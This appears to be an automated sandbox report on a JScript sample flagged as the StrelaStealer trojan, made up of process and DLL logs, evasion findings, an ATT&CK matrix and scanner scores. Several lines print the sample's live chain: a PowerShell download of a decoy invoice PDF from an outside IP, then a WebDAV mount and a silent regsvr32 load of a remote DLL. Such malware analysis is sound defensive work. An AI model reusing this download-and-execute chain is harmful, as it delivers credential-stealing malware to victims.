Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("WScript.Shell");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5124			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4725			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7472	Thread sleep count: 5124 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7472	Thread sleep count: 4725 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7548	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7564	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7744	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8016	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2110817748.00000266C6378000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2110817748.00000266C63E0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3331573065.000001C54A455000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3331532621.000001C54A442000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3330340821.000001C544E2B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17831253157594.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17831253157594.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17831253157594.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17831253157594.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17831253157594.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	22 Scripting	Valid Accounts	1 Command and Scripting Interpreter	22 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
27328249893052310101.js	13%	Virustotal		Browse
27328249893052310101.js	13%	ReversingLabs	Script-JS.Trojan.StrelaStealer

